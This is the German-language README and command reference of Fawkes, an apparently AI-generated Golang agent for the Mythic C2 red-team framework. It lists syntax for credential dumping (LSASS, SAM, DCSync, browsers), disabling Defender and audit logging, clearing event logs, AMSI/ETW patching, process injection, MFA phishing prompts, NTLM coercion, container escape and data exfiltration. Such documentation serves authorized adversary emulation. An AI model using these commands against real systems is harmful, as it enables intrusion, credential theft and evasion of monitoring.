
Fawkes ist ein Golang Mythic C2 Agent, der ausschließlich von KI geschrieben wurde.
# Fawkes Mythic C2 Agent
<img src="https://raw.githubusercontent.com/galoryber/fawkes/HEAD/agent_icons/fawkes.svg" width="100" />
Fawkes ist ein vollständig vibe-codierter Mythic C2 Agent. Es begann als ein „Ich frage mich“ und hat sich zu einem Ziel entwickelt. Mein Ziel ist es, keine einzige Zeile Code für diesen Agenten zu schreiben, sondern ihn ausschließlich per Prompt zu erstellen.
Ursprünglich habe ich versucht, den Agenten selbst zu schreiben, aber nach dem Klonen des Beispielcontainers, dem Lesen der Mythic-Dokumentation, dem Ansehen der Dev-Serie auf YouTube und dem Kopieren von Code aus anderen Agenten wie Merlin oder Freyja, entschied ich, dass ich einfach keine Zeit hatte, meinen eigenen Agenten zu entwickeln. Für einen Prompt jedoch habe ich Zeit.
Fawkes ist ein Golang-basierter Agent mit plattformübergreifenden Fähigkeiten. Er unterstützt **Windows** (EXE, DLL und Shellcode-Payloads), **Linux** (ELF-Binärdateien und Shared Libraries) und **macOS** (Mach-O-Binärdateien für Intel und Apple Silicon). **Insgesamt 213 Befehle**: 113 plattformübergreifend, 82 Windows-spezifisch, 21 Unix-spezifisch, 11 Linux-spezifisch und 6 macOS-spezifisch (einige Befehle haben plattformspezifische Implementierungen, die sich einen benutzerseitigen Namen teilen, z. B. Screenshot). Unterstützt HTTP-Egress und TCP-Peer-to-Peer (P2P)-Verknüpfung für internes Pivoting.
## Installation
Um Fawkes zu installieren, benötigen Sie eine Installation von Mythic auf einem entfernten Computer. Installationsanweisungen für Mythic finden Sie auf der [Mythic-Projektseite](https://github.com/its-a-feature/Mythic/).
Vom Mythic-Installationsverzeichnis aus:```
./mythic-cli install github https://github.com/galoryber/fawkes
```
## Kurzreferenz der BefehleCommand | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | Active Directory-Objekt-DACLs lesen/ändern (ACEs hinzufügen/entfernen, DCSync, GenericAll gewähren, Backup/Wiederherstellung). Plattformübergreifend (T1222.001, T1098, T1003.006).
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | Active Directory-Zertifikatsdienste aufzählen, anfällige Vorlagen finden (ESC1-ESC4, ESC6 via DCOM), Zertifikate via DCOM für ESC1/ESC6-Ausnutzung anfordern oder automatisch ausnutzen (find → parse → request chain). Plattformübergreifend (T1649).
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(Nur Windows)** NTFS-Alternate-Data-Streams verwalten — versteckte Datenströme schreiben, lesen, auflisten oder löschen. Unterstützt Text und hex-codierte Binärdaten. MITRE T1564.004.
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | Forensik-Ausführungsartefakte abfragen und bereinigen. Windows: Shimcache. Linux: recently-used.xbel, thumbnails, Tracker. macOS: neueste Elemente, KnowledgeC, Quarantäne (T1070.004).
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(Nur Windows)** Remote-Prozessinjektion. `-method apc` (Standard) reiht Shellcode via NtQueueApcThread in einen alertable Thread ein (mit `ts` einen finden). `-method hwbp` hängt via DebugActiveProcess an, setzt einen Hardware-Breakpoint DR0 auf eine Ziel-API (Standard `ntdll!NtDelayExecution`) und leitet Rip zum Shellcode um, wenn der Breakpoint ausgelöst wird – keine TID erforderlich, keine APC-Warteschlange, kein CreateRemoteThread (T1055.004, T1055).
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | Mikrofon-Audio aufnehmen und als WAV-Datei hochladen. Windows (waveIn), Linux (arecord/parecord), macOS (rec/ffmpeg). Plattformübergreifend (T1123).
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(Nur Windows)** Windows-Überwachungsrichtlinien abfragen und ändern. Sicherheitsereignisprotokollierung vor sensiblen Vorgängen deaktivieren. Stealth-Modus deaktiviert erkennungskritische Unterkategorien. Verwendet AuditQuerySystemPolicy API (T1562.002).
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(Nur Windows)** Befehl mit gefälschten Prozessargumenten ausführen. Umgeht Sysmon Event ID 1 und EDR-Befehlszeilentelemetrie (T1564.010).
arp | `arp [-ip <subnet>]` oder `arp -action spoof -target <IP> -gateway <IP>` | ARP-Tabelle mit Filterung anzeigen oder ARP-Cache-Poisoning für MITM-Positionierung (T1557.002). Spoof: nur Linux, stellt bei Bereinigung wieder her.
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | AS-REP-Tickets für Konten ohne Pre-Authentifizierung anfordern und Hashes im Hashcat-Format zum Offline-Knacken extrahieren. Automatische Enumeration via LDAP. Plattformübergreifend (T1558.004).
av-detect | `av-detect [-deep true]` | Installierte AV/EDR/Sicherheitsprodukte erkennen, indem laufende Prozesse gegen eine Datenbank mit über 130 Signaturen gescannt werden. Mit `--deep` werden auch Kernelmodule, systemd-Units und Konfigurationsverzeichnisse auf installierte, aber nicht laufende Produkte überprüft (Linux). Meldet Produkt, Anbieter, Typ und PID. Plattformübergreifend.
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(Nur Windows)** Eine Funktion automatisch patchen, indem zum nächstgelegenen Rückkehrbefehl (C3) gesprungen wird. Nützlich für AMSI/ETW-Bypässe.
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | Datenkodierungs-Toolkit: base64, XOR (mit String/Hex-Key), hex, ROT13, URL-Prozentkodierung, Caesar-Chiffre. Alle unterstützen Datei-I/O. Plattformübergreifend (T1132.001, T1140, T1027).
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(Nur Windows)** BITS-Übertragungsaufträge für Persistenz und verdeckten Dateidownload verwalten. Aufträge erstellen, anhalten, fortsetzen, abschließen und Benachrichtigungsbefehle für Persistenz festlegen. Aufträge überdauern Neustarts (T1197).
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | Browserdaten von Chromium, Firefox und Safari sammeln. Verlauf, Autofill, Lesezeichen, Downloads plattformübergreifend. Passwörter: Chromium (DPAPI/Keychain/GNOME Keyring), Firefox (key4.db NSS-Entschlüsselung), Safari (macOS Keychain). Firefox-Cookies auf allen Plattformen. MITRE T1555.003, T1217.
cat | `cat <file>` oder `cat -path <file> -start N -end N -number true` | Dateiinhalt anzeigen mit optionalem Zeilenbereich, Nummerierung und 5 MB-Größenschutz.
cd | `cd <directory>` | Das aktuelle Arbeitsverzeichnis wechseln.
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | Datei-/Verzeichnisberechtigungen mit oktaler (755, 644) oder symbolischer (+x, u+rw, go-w) Notation ändern. Rekursive Unterstützung. Plattformübergreifend (T1222).
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(Nur Linux/macOS)** Datei-/Verzeichnisbesitzer nach Benutzername/UID und Gruppenname/GID ändern. Rekursive Unterstützung (T1222).
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | TLS-Zertifikate auf entfernten Hosts überprüfen – identifiziert CAs, selbstsignierte Zertifikate, Ablauf, SANs, TLS-Version, Chiffriersuiten und SHA256-Fingerabdrücke. Plattformübergreifend (T1590.001).
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(Nur Windows)** Windows-Zertifikatspeicher durchsuchen, um Codesignatur-Zertifikate, Client-Auth-Zertifikate und private Schlüssel zu finden. Durchsucht CurrentUser und LocalMachine. MITRE T1552.004, T1649.
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | Zwischenablage lesen/schreiben oder kontinuierlich auf Änderungen überwachen mit Mustererkennung für Anmeldedaten. Plattformübergreifend (T1115).
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | Cloud-Metadaten, Anmeldedatenextraktion, IAM-Enumeration, Speicherenumerierung, Persistenz und Zugriff auf Secret Stores. storage/aws-s3/azure-blob/gcp-gcs: Buckets/Container mit Beispielobjekten aufzählen. aws-ssm: SSM Parameter Store mit Entschlüsselung. azure-keyvault: Key Vault-Geheimnisse via verwalteter Identität. gcp-secrets: Secret Manager via Dienstkonto. aws-persist/azure-persist: langlebige Zugriffsschlüssel/App-Registrierungen erstellen. Auto-Erkennung. IMDSv2. Plattformübergreifend (T1552.005, T1580, T1530, T1098.001).
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | Archive erstellen, auflisten, extrahieren, bereitstellen oder exfiltrieren. Staging verschlüsselt mit AES-256-GCM. Exfil überträgt zu Mythic. exfil-https: Upload zu S3/Azure/GCS-pre-signierten URLs mit Chunked Uploads, benutzerdefinierten Headern, Jitter. exfil-github: Exfiltration via GitHub-Inhalts-API. Plattformübergreifend (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001).
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | NTLM-Authentifizierungs-Erzwingung via MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-FSRVP (ShadowCoerce). Zwingt Ziel, sich beim Angreifer-Listener zu authentifizieren. Pass-the-Hash-Unterstützung. Plattformübergreifend (T1187).
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | Laufzeitkonfiguration des Agents anzeigen oder ändern, oder das Agent-Binär selbst aktualisieren. `show`/`set`: Schlaf, Jitter, Todesdatum, Arbeitszeiten. `update`: neue Payload von Mythic herunterladen, verifizieren, starten und aktuellen Agent beenden. Plattformübergreifend (T1105).
container-detect | `container-detect` | Container-Laufzeit und -Umgebung erkennen (Docker, K8s, LXC, Podman, WSL). Überprüft Escape-Vektoren wie Docker-Sockets und K8s-Dienstkonten. Plattformübergreifend (T1082, T1497.001).
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(Nur Linux)** Container-Ausbruch + K8s-Operationen – Docker-Socket, Cgroup, nsenter, Host-Device-Mount. K8s: Pods/Services aufzählen, Secrets lesen, **k8s-rbac**: ClusterRole/RoleBinding-Sweep + Berechtigungserhöhungspfad-Bewertung (crit/warn/info), **k8s-nodes**: Cluster-Node-Angriffsfläche (kubelet/OS/Kernel/CIDR/Taints/Rollen), **k8s-etcd**: etcd-Client-Endpunkte aus Control-Plane-Pod-Argumenten entdecken + unauthentifizierten `/version`-Probe pro Endpunkt (unauth read = vollständige Cluster-Kompromittierung), Pods via API bereitstellen/ausführen. **Außerhalb des Clusters**: `-kubeconfig` akzeptiert gestohlene kubeconfig-Dateien für K8s-Zugriff von Nicht-Container-Hosts (Token + Client-Zertifikat-Auth) (T1611, T1610, T1613, T1552.007, T1069.003, T1087.004).
cp | `cp <source> <destination>` | Eine Datei von Quelle zu Ziel kopieren.
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | Anmeldedaten gegen SMB, WinRM und LDAP auf Zielhosts testen. `verify-all` testet alle gespeicherten Anmeldedaten parallel gegen entdeckte Hosts. Plattformübergreifend (T1110.001, T1078).
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | Anmeldedaten sammeln: Shadow-Hashes (Unix), Cloud-Konfigurationen (AWS/GCP/Azure/K8s), Anwendungsgeheimnisse, Shell-Verlauf-Scans auf durchgesickerte Passwörter/Tokens/API-Schlüssel, PowerShell-Verlauf + Umgebungsvariablen + RDP (Windows), M365-OAuth/JWT-Tokens aus TokenBroker/Teams/Outlook (Windows), **browser-live**: Live-Cookies, localStorage, sessionStorage via Chrome DevTools Protocol (CDP) aus laufendem Chrome/Edge stehlen. **dump-all**: automatisierte Subtask-Kette – führt hashdump + lsa-secrets + cred-harvest parallel aus (Windows). Plattformübergreifend (T1552, T1003.008, T1528, T1539).
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | Nativen Anmeldedialog anzeigen, OAuth-Gerätecode-Fluss ausnutzen oder MFA-Codes phishen. dialog: macOS AppleScript, Windows CredUI, Linux zenity/kdialog. device-code: Azure AD OAuth-Gerätecode-Fluss zur Tokenerfassung. mfa-phish: Gefälschter MFA-Verifizierungsdialog zur Erfassung von TOTP-Codes. Plattformübergreifend (T1056.002, T1621, T1111).
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP-Anfragen + Datei-Upload-Exfiltration (T1567). Upload zu S3-pre-signierten URLs, Azure SAS, generische Endpunkte. Plattformübergreifend (T1106, T1567.002).
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | Felder oder Zeichenbereiche aus Dateizeilen extrahieren. Benutzerdefinierte Trennzeichen, Bereichsangaben. Plattformübergreifend (T1083).
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | Plattform-Anmeldedatenspeicher durchsuchen. Windows: Credential Manager + Tresor (CredEnumerateW, vaultcli.dll). Linux: GNOME Keyring (secret-tool), KDE KWallet, NetworkManager-WiFi/VPN-Passwörter, GNOME Online Accounts. macOS: Keychain-Elemente (generische + Internet-Passwörter), WiFi-Passwörter. `list`=Metadaten, `dump`=mit Geheimnissen, `vault`=nur Windows. MITRE T1555.004, T1555.001.
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(Nur Windows)** Defender verwalten – Status, Ausschlüsse, Bedrohungen, Echtzeitschutz aktivieren/deaktivieren. MITRE T1562.001.
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(Nur Windows)** DPAPI-Blob-Entschlüsselung (CryptUnprotectData), Master-Key-Enumeration, Chrome/Edge-Verschlüsselungsschlüsselextraktion. MITRE T1555.003/T1555.005.
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(Nur Windows)** Auf Outlook-Postfach via COM zugreifen. Nachrichten zählen, nach Stichwort suchen, nach Index lesen, Ordner auflisten. MITRE T1114.001.
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(Nur Windows)** Befehle ausführen, Dateien hochladen oder staging-and-execute auf entfernten Hosts via DCOM. `check` validiert RPC/DCOM-Voraussetzungen. upload: Dateien via certutil/PowerShell-Staging übertragen. exec-staged: Hochladen und dann ausführen mit automatischer Bereinigung. Sechs COM-Objekte. MITRE T1021.003, T1570.
debug-detect | `debug-detect` | Angeschlossene Debugger, Analysetools und Instrumentierung erkennen. Windows: IsDebuggerPresent, NtQueryInformationProcess, PEB, DR-Register. Linux: TracerPid, LD_PRELOAD, Speicherkarten (Frida/Valgrind/Sanitizer), VM/Sandbox, eBPF-Überwachung (Falco/Tetragon/Tracee), auditd-Framework, ptrace-Bereich. macOS: sysctl P_TRACED, DYLD_INSERT_LIBRARIES, VM-Erkennung (sysctl), Sicherheitsprodukte (EDR/AV), Sandbox/Analyseumgebung. Alle: Debugger-Prozessscan (T1497.001).
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync – AD-Anmeldedaten via DRS replizieren, ohne LSASS zu berühren. `domain-takeover` führt kerberoast + asrep-roast + dcsync krbtgt/Administrator parallel aus. Plattformübergreifend (T1003.006).
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | Dateisystem-Datenträgernutzung melden mit optionaler Filterung nach Gerät, Einhängepunkt oder Dateisystemtyp. Plattformübergreifend (T1082).
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | Zwei Dateien vergleichen und Unterschiede im Unified-Diff-Format anzeigen. LCS-basierter Algorithmus mit konfigurierbaren Kontextzeilen. Plattformübergreifend (T1083).
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS-Enumeration – Hosts auflösen, Records abfragen, DCs entdecken, Zonentransfers, Wildcard-Erkennung, DNS-over-HTTPS-verdeckte Auflösung, DNS-Exfiltration. Plattformübergreifend (T1018, T1071.004, T1048.001).
du | `du -path <file_or_dir> [-max_depth <n>]` | Datenträgernutzung für Dateien und Verzeichnisse melden. Größenaufschlüsselung nach Unterverzeichnis, sortiert nach größten. Plattformübergreifend (T1083).
drivers | `drivers [-filter <name>]` | Geladene Kernel-Treiber/Module auflisten. Windows: EnumDeviceDrivers, Linux: /proc/modules, macOS: kext-Enumeration. Plattformübergreifend (T1082).
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | AD-Passwort-/Sperrrichtlinien und FGPP-Enumeration via LDAP. Spray-sichere Empfehlungen. Plattformübergreifend (T1201).
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(Nur Linux/macOS)** Cron-Jobs auflisten, hinzufügen oder entfernen zur Persistenz. Unterstützt rohe Cron-Einträge oder Programm+Zeitplan-Syntax.
download | `download <path>` oder `download {"path": "/file", "compress": true}` | Eine Datei oder ein Verzeichnis vom Ziel herunterladen. Dateien >1 MB werden automatisch mit gzip komprimiert (konfigurierbar). Verzeichnisse werden automatisch gezippt. SHA256-Hash-Überprüfung. Chunked-Transfer, Dateibrowser-Integration.
drives | `drives` | Verfügbare Laufwerke/Volumes und eingehängte Dateisysteme mit Typ, Bezeichnung/Gerät und freiem/gesamten Speicherplatz auflisten.
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(Nur Windows)** Zugriffstoken über alle Prozesse hinweg auflisten. `list` zeigt PID/Benutzer/Integrität/Sitzung für jeden Prozess. `unique` gruppiert nach Benutzer mit Prozessanzahlen. Aktiviert automatisch SeDebugPrivilege (T1134, T1057).
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM-Verschlüsselung/Entschlüsselung (T1486) + gezielte Dateibeschädigung (T1565). corrupt: Datei-Header mit Zufallsdaten überschreiben. Sicherheitsabfragen für destruktive Operationen erforderlich.
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | Umgebungsvariablen für den Agent-Prozess auflisten, abrufen, setzen oder löschen. Änderungen werden von Kindprozessen übernommen. Plattformübergreifend.
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | Prozess-Umgebungsvariablen nach durchgesickerten Anmeldedaten, API-Schlüsseln und Geheimnissen durchsuchen. 35+ Erkennungsmuster in den Kategorien Cloud, Datenbank, CI/CD und Krypto. Linux + macOS (T1057, T1552.001).
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows, Linux, macOS)** Audit-/Telemetrie-Subsystem-Manipulation. Windows: ETW-Sitzungen/Anbieter stoppen/blind/blind-all/aktivieren/patch/wiederherstellen. Linux: auditd-Regeln, journald leeren/rotieren, syslog-Konfiguration, SIEM-Agent-Erkennung. macOS: Unified Logging, Sicherheitsagent-Erkennung. (T1562, T1070.002).
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | Systemereignisprotokolle verwalten. Windows: wevtapi.dll-Kanäle. Linux: journald-Units und syslog-Dateien. macOS: Unified Logging (os_log)-Subsysteme/Prozesse. Quellen auflisten, Ereignisse abfragen, Protokolle löschen/vakuumieren, Informationen abrufen. MITRE T1070.001, T1562.002.
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | Ein natives Binär aus dem Speicher ausführen. Linux: memfd_create (kein Schreiben auf Datenträger). macOS: temporäre Datei mit Ad-hoc-Codesign. Windows: temporäre Datei mit sofortiger Bereinigung. Alle Plattformen entfernen Artefakte nach der Ausführung. MITRE T1620.
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | Shellcode im aktuellen Prozess ausführen. Unterstützt XOR/AES-256-CTR-codierten Shellcode mit Laufzeit-Decodierung (T1027). Windows: VirtualAlloc + CreateThread. Linux: mmap (Standard) oder memfd_create. macOS: MAP_JIT (ARM64) oder mmap. Plattformübergreifend (T1059.006, T1620).
exit | `exit` | Agent anweisen, zu beenden.
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | Dateiattribute abrufen oder setzen – versteckt, schreibgeschützt, system (Windows); unveränderlich, append, nodump (Linux); versteckt, unveränderlich (macOS). -attrs weglassen, um aktuelle Flags anzuzeigen. Plattformübergreifend (T1564.001, T1222).
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | Dateitypen anhand von Magic-Bytes (35+ Signaturen) identifizieren. Einzeldatei oder Verzeichnisscan. Erkennt ausführbare Dateien, Archive, Dokumente, Bilder, Datenbanken, Medien und mehr. Plattformübergreifend (T1083).
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | Dateien nach Name, Größe, Datum, Berechtigungen oder Besitzer durchsuchen. SUID-Binärdateien, weltweit beschreibbare Dateien, Dateien bestimmter Benutzer finden. Plattformübergreifend (T1083).
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | Hosts überprüfen, um zu entdecken, wo Anmeldedaten Administratorzugriff via SMB (C$-Freigabe) und/oder WinRM haben. **auto-move**: automatisierte Subtask-Kette – Admin-Hosts finden und dann lateral zu jedem via psexec/wmi bewegen. Unterstützt CIDR, IP-Bereiche, PTH, paralleles Scannen (T1021.002, T1021.006).
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows, macOS, Linux)** Firewall-Regeln verwalten. Windows: COM-API. macOS: ALF + pf-verankerte Regeln. Linux: iptables/nftables (automatisch erkannt). PF-Anker-Unterstützung für macOS-Paketfilterung. MITRE T1562.004.
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows, macOS, Linux)** Privilegien/Fähigkeiten auflisten. Windows: Token-Privilegien mit enable/disable/strip. Linux: Prozessfähigkeiten (CapEff/CapPrm) + SELinux/AppArmor-Kontext. macOS: Berechtigungen, Sandbox, Gruppen (T1134.002).
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows, Linux, macOS)** Privilegienausweitung. Windows: SYSTEM via Token-Diebstahl oder DCOM-Potato. Linux: Ausweitungsvektoren überprüfen (SUID, sudo, Fähigkeiten, Docker) oder sudo-Ausweitung versuchen. macOS: Vektoren überprüfen, sudo oder osascript-Admin-Eingabeaufforderung (T1134, T1548).
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | SYSVOL nach GPP-XML-Dateien mit verschlüsselten cpassword-Attributen durchsuchen und mit dem veröffentlichten AES-Schlüssel entschlüsseln (MS14-025). Plattformübergreifend via SMB (T1552.006).
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | Gruppenrichtlinienobjekte via LDAP aufzählen – GPOs auflisten, Links mit Erzwingung kartieren, interessante CSE-Einstellungen finden. Plattformübergreifend (T1615).
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | Dateiinhalte nach Regex-Mustern durchsuchen. Rekursive Verzeichnissuche mit Erweiterungsfilterung, Kontextzeilen und Überspringen von Binärdateien. Plattformübergreifend (T1083, T1552.001).
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | Datei-Hashes berechnen (MD5, SHA-1, SHA-256, SHA-512). Einzeldateien oder Verzeichnisse mit Glob-Musterfilterung und Tiefenkontrolle. Plattformübergreifend (T1083).
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | Dateiinhalt im xxd-stil Hex+ASCII-Format anzeigen. Offset/Längensteuerung zur Untersuchung bestimmter Regionen, max. 4096 Bytes. Plattformübergreifend (T1005).
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows, Linux, macOS)** Offene Handles/Dateideskriptoren in einem Prozess auflisten. Windows: NtQuerySystemInformation. Linux: /proc/pid/fd. macOS: lsof (T1057, T1082).
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows, Linux, macOS)** Lokale Kontokennwort-Hashes extrahieren. Windows: NTLM-Hashes aus SAM-Registrierung (erfordert SYSTEM); **insitu**: aktive Anmeldesitzungen via In-Prozess-LSA-APIs aufzählen (erfordert Admin); **insitu-full**: lsass.exe mit PROCESS_VM_READ öffnen, lsasrv.dll nach LogonSessionList signalisieren, die verknüpfte Liste durchgehen, das KIWI_MSV1_0_LIST_63-Layout auf jeden Knoten legen, um LUID/UserName/Domain/AuthPackage/LogonType/Credentials-pointer zu parsen, die pro-AuthPackage-Anmeldedatenkette bei credentials_ptr durchgehen, um jede KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC-Hülle zu erfassen, LsaInitializeProtectedMemory_Internal signalisieren, um die IV / h3DesKey / hAesKey BCrypt-Key-Globalen sowie die rohen 16-Byte-IV / 24-Byte-3DES / 32-Byte-AES-Key-Bytes wiederherzustellen, AES-256-CFB / 3DES-CBC jeden erfassten Chiffretext-Blob entschlüsseln (pro Blob ausgewählt durch `len % 8`) und das KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW-Layout überlagern, um NT/LM/SHA-Hashes zu extrahieren – ausgegeben im `username:rid:lm:nt:::`-Format, kompatibel mit dem dump-action ProcessResponse-Anmeldedatentresor-Hook (Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c, Win10 21H2 — Win11 23H2, erfordert Admin). Linux: /etc/shadow-Hashes mit Hash-Typ-Identifizierung (erfordert root). macOS: Directory Services-PBKDF2-Hashes aus Benutzer-Plists (erfordert root). **auto-spray**: Hashes dumpen und dann automatisch via cred-check gegen Zielhosts sprayen. MITRE T1003.002, T1003.008.
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | Shell-/Anwendungs-Befehlsverlaufsdateien auflisten oder löschen. Deckt bash, zsh, fish, PowerShell, python, mysql und mehr ab. Plattformübergreifend (T1070.003).
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | Prozess-Aushöhlung – angehaltenen Prozess erstellen, Shellcode schreiben, Ausführung umleiten. **Windows:** CREATE_SUSPENDED + SetThreadContext, PPID-Spoofing, DLL-Blockierung, PEB-Dekoration (ImagePath/CommandLine/WindowTitle-Masking). **Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem-Schreiben. **macOS:** ptrace + Mach-VM-APIs (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) – erfordert root. MITRE T1055.012, T1036.
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | IDE-Konfigurationen aufzählen – VS Code-Erweiterungen, Remote-SSH-Hosts, aktuelle Projekte, Einstellungen mit Geheimnissen. JetBrains-Datenquellen, Bereitstellungsserver, aktuelle Projekte. Plattformübergreifend (T1005, T1083).
ifconfig | `ifconfig` | Netzwerkschnittstellen mit Adressen, MAC, MTU und Flags auflisten. Plattformübergreifend (Windows/Linux/macOS).
inline-assembly | `inline-assembly` | **(Nur Windows)** Ein .NET-Assembly im Speicher mit der CLR ausführen. Unterstützt Befehlszeilenargumente. Vorher `start-clr` für den AMSI-Patching-Workflow verwenden.
